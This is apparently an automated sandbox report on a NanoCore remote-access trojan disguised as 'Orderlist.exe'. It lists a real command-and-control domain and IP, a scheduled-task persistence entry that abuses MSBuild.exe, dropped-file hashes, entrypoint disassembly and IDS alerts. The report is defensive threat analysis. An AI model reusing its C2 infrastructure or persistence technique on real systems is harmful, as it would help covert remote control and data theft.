Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Disable or Modify Tools1	LSASS Memory	Security Software Discovery3	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scheduled Task/Job1	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion21	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection112	NTDS	Virtualization/Sandbox Evasion21	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Files and Directories1	LSA Secrets	Application Window Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol22	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information1	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing1	DCSync	System Information Discovery23	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Orderlist.exe	26%	ReversingLabs	Win32.Backdoor.NanoBot
Orderlist.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.2.Orderlist.exe.37e0000.1.unpack	100%	Avira	TR/Patched.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
127.0.0.1	0%	Avira URL Cloud	safe
sobe123.ddns.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sobe123.ddns.net	185.244.30.22	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
127.0.0.1	true	Avira URL Cloud: safe	unknown
sobe123.ddns.net	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.244.30.22	sobe123.ddns.net	Netherlands		209623	DAVID_CRAIGGG	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	458451
Start date:	03.08.2021
Start time:	11:33:46
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Orderlist.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/9@20/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 98.5% (good quality ratio 90.6%) Quality average: 79.4% Quality standard deviation: 31%
HCA Information:	Successful, ratio: 75% Number of executed functions: 50 Number of non-executed functions: 17
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 52.147.198.201, 23.211.6.115, 13.88.21.125, 23.211.4.86, 20.82.210.154, 51.103.5.186, 20.54.110.249, 40.112.88.60, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:34:45	API Interceptor	972x Sleep call for process: MSBuild.exe modified
11:34:46	Task Scheduler	Run new task: DHCP Monitor path: "C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe" s>$(Arg0)

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.244.30.22	Orderpdf.exe	Get hash	malicious	Browse
	Permintaan Baru 0010.exe	Get hash	malicious	Browse
	Shipping document PL and BL0070,pdf.exe	Get hash	malicious	Browse
	Shipping document PL and BL0070,pdf.exe	Get hash	malicious	Browse
	Shipping document PL and BL0070,pdf.exe	Get hash	malicious	Browse
	AWB 686553534 L#U00f4 h#U00e0ng ,pdf.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
sobe123.ddns.net	Orderpdf.exe	Get hash	malicious	Browse	185.244.30.22

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DAVID_CRAIGGG	Orderpdf.exe	Get hash	malicious	Browse	185.244.30.22
	d1IaoX0mpm.exe	Get hash	malicious	Browse	185.140.53.6
	ORDER LIST.xlsx	Get hash	malicious	Browse	185.140.53.6
	8146Q5rN9g.exe	Get hash	malicious	Browse	91.193.75.162
	Scanned Documents 001.doc	Get hash	malicious	Browse	91.193.75.162
	Quotation Request August RFQ8012021.exe	Get hash	malicious	Browse	185.140.53.253
	NEW PO pdf.exe	Get hash	malicious	Browse	91.193.75.162
	Permintaan Baru 0010.exe	Get hash	malicious	Browse	185.244.30.22
	5yvgVnT8wz.exe	Get hash	malicious	Browse	185.244.30.23
	LxYbtlP5nB.exe	Get hash	malicious	Browse	185.244.30.23
	eInFMnZWWV.exe	Get hash	malicious	Browse	185.244.30.143
	Purchase order FOD-0056-2021-D.exe	Get hash	malicious	Browse	91.193.75.162
	ARRIVAL NOTICE FOR NEW ORDER190009.exe	Get hash	malicious	Browse	185.140.53.142
	Quotation RequestQR28072021.exe	Get hash	malicious	Browse	185.140.53.253
	Spare Parts Requisition-003,004.exe	Get hash	malicious	Browse	185.244.30.238
	Order List.exe	Get hash	malicious	Browse	91.193.75.228
	Quote 992002892.doc	Get hash	malicious	Browse	185.244.30.238
	4FNiWwUTLR.exe	Get hash	malicious	Browse	185.244.30.238
	PMA21-110.exe	Get hash	malicious	Browse	91.193.75.228
	PEDIDO DE COMPRA ASHCROFT - 41901E-001,pdf.exe	Get hash	malicious	Browse	185.140.53.11

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\MSBuild.exe.log Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	325
Entropy (8bit):	5.334380084018418
Encrypted:	false
SSDEEP:	6:Q3LadLCR22IAQykdL1tZbLsbFLIP12MUAvvro6ysGMFLIP12MUAvvrs:Q3LaJU20NaL1tZbgbe4MqJsGMe4M6
MD5:	65CE98936A67552310EFE2F0FF5BDF88
SHA1:	8133653A6B9A169C7496ADE315CED322CFC3613A
SHA-256:	682F7C55B1B6E189D17755F74959CD08762F91373203B3B982ACFFCADE2E871A
SHA-512:	2D00AC024267EC384720A400F6D0B4F7EDDF49FAF8AB3C9E6CBFBBAE90ECADACA9022B33E3E8EC92E4F57C7FC830299C8643235EB4AA7D8A6AFE9DD1775F57C3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..2,"Microsoft.Build.Engine, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.Build.Framework, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\tmpD5BB.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	5.136963558289723
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0mnc2xtn:cbk4oL600QydbQxIYODOLedq3ZLj
MD5:	AE766004C0D8792953BAFFFE8F6A2E3B
SHA1:	14B12F27543A401E2FE0AF8052E116CAB0032426
SHA-256:	1ABDD9B6A6B84E4BA1AF1282DC84CE276C59BA253F4C4AF05FEA498A4FD99540
SHA-512:	E530DA4A5D4336FC37838D0E93B5EB3804B9C489C71F6954A47FC81A4C655BB72EC493E109CF96E6E3617D7623AC80697AD3BBD5FFC6281BAFC8B34DCA5E6567
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\catalog.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.089541637477408
Encrypted:	false
SSDEEP:	48:IknjhUknjhUknjhUknjhUknjhUknjhUknjhUknjhUknjhUknjhL:HjhDjhDjhDjhDjhDjhDjhDjhDjhDjhL
MD5:	2CC2E05CB39A76B255530F61BA4AA2E3
SHA1:	76BD6001B1922B2B3FB2F618740FA74A6C532A7F
SHA-256:	FBF89196FF1A9FC33EE6C42DC0A959DAA89E2322F3417C77534C9968C0885271
SHA-512:	2EACD3A81456781803A9C14F7471DBBDB126BBE7AEC3105B1A49AB115A8BB831EA0D1DF48BAB00EB8231B114EAE5A03DF73A7A60B45BA03CB2F92382CF4DBB38
Malicious:	false
Preview:	Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+..........~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+..........~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+..........~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+..........~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:z5Tt:Vh
MD5:	5AE21F9EFD353DB4655E78BF1D985A51
SHA1:	BE4FA7084E270D516D19CB9FD57DEFDC51407AD0
SHA-256:	9FA1633CB2F77A3059A545A5C99CDB30E669304A050DCA66F79308423575FF94
SHA-512:	B84F1CB9B768B92543C4847E4E6E863AB59D0F676E09A2A6B0BB550695208CB8DAF9801678A7DBDC2E4F41A363E0AF018B1F505F7840D5A5FD77E69EF8F6D34C
Malicious:	true
Preview:	..+\.V.H

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\settings.bak Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.584962500721156
Encrypted:	false
SSDEEP:	3:9bzY6oRDJoTBn:RzWDqTB
MD5:	3FCC766D28BFD974C68B38C27D0D7A9A
SHA1:	45ED19A78D9B79E46EDBFC3E3CA58E90423A676B
SHA-256:	39A25F1AB5099005A74CF04F3C61C3253CD9BDA73B85228B58B45AAA4E838641
SHA-512:	C7D47BDAABEEBB8C9D9B31CC4CE968EAF291771762FA022A2F55F9BA4838E71FDBD3F83792709E47509C5D94629D6D274CC933371DC01560D13016D944012DA5
Malicious:	false
Preview:	9iH...}Z.4..f.....l.d

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\settings.bin Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	5.425704882778696
Encrypted:	false
SSDEEP:	3:9bzY6oRDJoTBPcgY6oRDMjmPl:RzWDqTdRWDMCd
MD5:	CA214D2E41394F5ADA74FA4F2EA15CB5
SHA1:	32E3F863838177349F2AF70CA1CE695B3C184166
SHA-256:	B6E370AF3F5C1001C79BC19706D1A5B1803C59BC45AEFAB4BD18FC67034F47A1
SHA-512:	E9C268BCDE8872F4DD2964ACA6F9C51834E42E2AF7FF2E1C327573CEDC98127B0EDBBF8E76E456FFF82A28FC46A210D91EEEA2242ECED5368D107436B3492C14
Malicious:	false
Preview:	9iH...}Z.4..f.....l.d9iH...}Z.4..f..... 8.j....\|.&X..e.F.*.

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\storage.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	426832
Entropy (8bit):	7.999527918131335
Encrypted:	true
SSDEEP:	6144:zKfHbamD8WN+JQYrjM7Ei2CsFJjyh9zvgPonV5HqZcPVT4Eb+Z6no3QSzjeMsdF/:zKf137EiDsTjevgArYcPVLoTQS+0iv
MD5:	653DDDCB6C89F6EC51F3DDC0053C5914
SHA1:	4CF7E7D42495CE01C261E4C5C4B8BF6CD76CCEE5
SHA-256:	83B9CAE66800C768887FB270728F6806CBEBDEAD9946FA730F01723847F17FF9
SHA-512:	27A467F2364C21CD1C6C34EF1CA5FFB09B4C3180FC9C025E293374EB807E4382108617BB4B97F8EBBC27581CD6E5988BB5E21276B3CB829C1C0E49A6FC9463A0
Malicious:	false
Preview:	..g&jo...IPg...GM....R>i...o...I.>.&.r{....8...}...E....v.!7.u3e.. .....db...}.......".t(.xC9.cp.B....7...'.......%......w.^.._.......B.W%.<..i.0.{9.xS...5...)..w..$..C..?`F..u.5.T.X.w'Si..z.n{...Y!m...RA...xg....[7...z..9@.K.-...T..+.ACe....R....enO.....AoNMT.\^....}H&..4I...B.:..@..J...v..rI5..kP......2j....B..B.~.T..>.c..emW;Rn<9..[.r.o....R[....@=...:...L.g<.....I..%4[.G^.~.l'......v.p&.........+..S...9d/.{..H.`@.1..........f.\s...X.a.].<.h...J4...k.x....%3.......3.c..?%....>.!.}..)(.{...H...3..`'].Q.[sN..JX(.%pH....+......(...v.....H...3..8.a_..J..?4...y.N(..D.h..g.jD..I...44Q?..N......oX.A......l...n?./..........$.!..;.^9"H...........OkF....v.m_.e.v..f...."..bq{.....O.-....%R+...-..P.i..t5....2Z# ...#...,L..{..j..heT -=Z.P;...g.m)<owJ].J..../.p..8.u8.&..#.m9...j%..g&....g.x.I,....u.[....>./W...........X...bZ...ex.0..x.}.....Tb...[..H_M._.^N.d&...g._."@4N.pDs].GbT.......&p........Nw...%$=.....{..J.1....2....<E{..<!G..

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\task.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.85263908467479
Encrypted:	false
SSDEEP:	3:oMty8WbSI1u:oMLWuI1u
MD5:	A35128E4E28B27328F70E4E8FF482443
SHA1:	B89066B2F8DB34299AABFD7ABEE402D5444DD079
SHA-256:	88AEA00733DC4B570A29D56A423CC5BF163E5ACE7AF349972EB0BBA8D9AD06E1
SHA-512:	F098E844B5373B34642B49B6E0F2E15CFDAA1A8B6CABC2196CEC0F3765289E5B1FD4AB588DD65F97C8E51FA9A81077621E9A06946859F296904C646906A70F33
Malicious:	false
Preview:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

\Device\ConDrv Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	235
Entropy (8bit):	5.107306146099542
Encrypted:	false
SSDEEP:	6:zx3M1tlAX8bSWR30qysGMQbSVRRZBXVRbJ0fFPRAgRYan:zK1XnV30ZsGMIG9BFRbQ5AUYan
MD5:	67DDD8252A246E7B14649B0063E351C0
SHA1:	AAE1C6839D1CC4A626D0FB2D4773823AD209FA17
SHA-256:	24C8283BA3F7FCA2E4CEF6F141263DD1E8A36E5A5CD96A97BFE83525D7663116
SHA-512:	326A5E0A440F60D4808C91499F1F3616C496B67DC053B4A2A40B0FE09002074AE5365018781F8746E98E7E3CFCD35F1310D17FB7C2138A8157318E6791987025
Malicious:	false
Preview:	Microsoft (R) Build Engine Version 2.0.50727.8922..[Microsoft .NET Framework, Version 2.0.50727.8922]..Copyright (C) Microsoft Corporation 2005. All rights reserved.....MSBUILD : error MSB1009: Project file does not exist...Switch: 0..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.566964052983995
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Orderlist.exe
File size:	457359
MD5:	57201aec028c2bd9a91e79ed81aeb868
SHA1:	150471c9ac6f4324bbcd1a3852d1755fed87440a
SHA256:	580eb6d5dffc61f35b4fe0ea5c0ab113af6f39e971282f9fff016b7f54d036ab
SHA512:	f7158703ec8359936dcf6a48b045d0b427f594dc0dd5daed66d043ccb696debe0bf44b7861de23903220359ea074478102601203f74d82c7439549bd97116828
SSDEEP:	12288:0NmRAtaiaYtrH398p37jUSDNlXPn66tVhP9Cx:0Nm6nHN8pLjUSppn6eQx
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........a9.p.j.p.j.p.j...k.p.j...k.p.j...k.p.j...k.p.j...k.p.j...k.p.j...k.p.j.p.j.p.j...k.p.j...j.p.j.p.j.p.j...k.p.jRich.p.j.......

File Icon


Icon Hash:	10ecd4d2d8cce400

Static PE Info

General
Entrypoint:	0x40187e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x6108F2D1 [Tue Aug 3 07:40:01 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	47132e7294d9df76f8ee6d6805dd5e2d

Entrypoint Preview

Instruction
call 00007FB820BA3875h
jmp 00007FB820BA3373h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [0040D040h]
push dword ptr [ebp+08h]
call dword ptr [0040D03Ch]
push C0000409h
call dword ptr [0040D044h]
push eax
call dword ptr [0040D048h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call 00007FB820BACAF9h
test eax, eax
je 00007FB820BA34E7h
push 00000002h
pop ecx
int 29h
mov dword ptr [00413F20h], eax
mov dword ptr [00413F1Ch], ecx
mov dword ptr [00413F18h], edx
mov dword ptr [00413F14h], ebx
mov dword ptr [00413F10h], esi
mov dword ptr [00413F0Ch], edi
mov word ptr [00413F38h], ss
mov word ptr [00413F2Ch], cs
mov word ptr [00413F08h], ds
mov word ptr [00413F04h], es
mov word ptr [00413F00h], fs
mov word ptr [00413EFCh], gs
pushfd
pop dword ptr [00413F30h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [00413F24h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00413F28h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [00413F34h], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [00413E70h], 00010001h

Rich Headers

Programming Language:

[LNK] VS2015 UPD3.1 build 24215
[ C ] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1222c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x16000	0x29388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11ac0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x11b18	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd000	0x164	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb0b4	0xb200	False	0.589339009831	data	6.61597401291	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xd000	0x5a08	0x5c00	False	0.414996603261	data	4.86737104146	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x13000	0x1b24	0x1000	False	0.2392578125	data	2.69306515191	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.gfids	0x15000	0xb4	0x200	False	0.205078125	data	0.920266383871	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x16000	0x29388	0x29400	False	0.0764678030303	data	3.16536919122	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x16390	0x147a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x17810	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x28038	0x94a8	data	English	United States
RT_ICON	0x314e0	0x5488	data	English	United States
RT_ICON	0x36968	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 4294967295, next used block 4294967295	English	United States
RT_ICON	0x3ab90	0x25a8	data	English	United States
RT_ICON	0x3d138	0x10a8	data	English	United States
RT_ICON	0x3e1e0	0x988	data	English	United States
RT_ICON	0x3eb68	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_MENU	0x3f058	0x4a	data	English	United States
RT_DIALOG	0x3f0b8	0x120	data	English	United States
RT_STRING	0x3f1d8	0x2c	data	English	United States
RT_ACCELERATOR	0x3f0a8	0x10	data	English	United States
RT_GROUP_ICON	0x3efd0	0x84	data	English	United States
RT_MANIFEST	0x3f208	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.dll	DecodePointer, WriteConsoleW, CloseHandle, CreateFileW, SetFilePointerEx, GetConsoleMode, FlushFileBuffers, HeapReAlloc, HeapSize, GetProcessHeap, LCMapStringW, GetConsoleOutputCP, VirtualProtect, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapFree, HeapAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetFileType, GetStringTypeW, RaiseException
USER32.dll	LoadIconW, LoadCursorW, EndPaint, BeginPaint, GetDC, UpdateWindow, GrayStringA, TranslateAcceleratorW, LoadAcceleratorsW, EndDialog, DialogBoxParamW, ShowWindow, DestroyWindow, CreateWindowExW, RegisterClassExW, PostQuitMessage, DefWindowProcW, DispatchMessageW, TranslateMessage, GetMessageW, LoadStringW
GDI32.dll	CreateSolidBrush

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/03/21-11:34:46.556393	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49714	5656	192.168.2.5	185.244.30.22
08/03/21-11:34:52.608063	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49715	5656	192.168.2.5	185.244.30.22
08/03/21-11:34:59.093082	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49719	5656	192.168.2.5	185.244.30.22
08/03/21-11:35:05.122589	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49720	5656	192.168.2.5	185.244.30.22
08/03/21-11:35:11.198158	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49723	5656	192.168.2.5	185.244.30.22
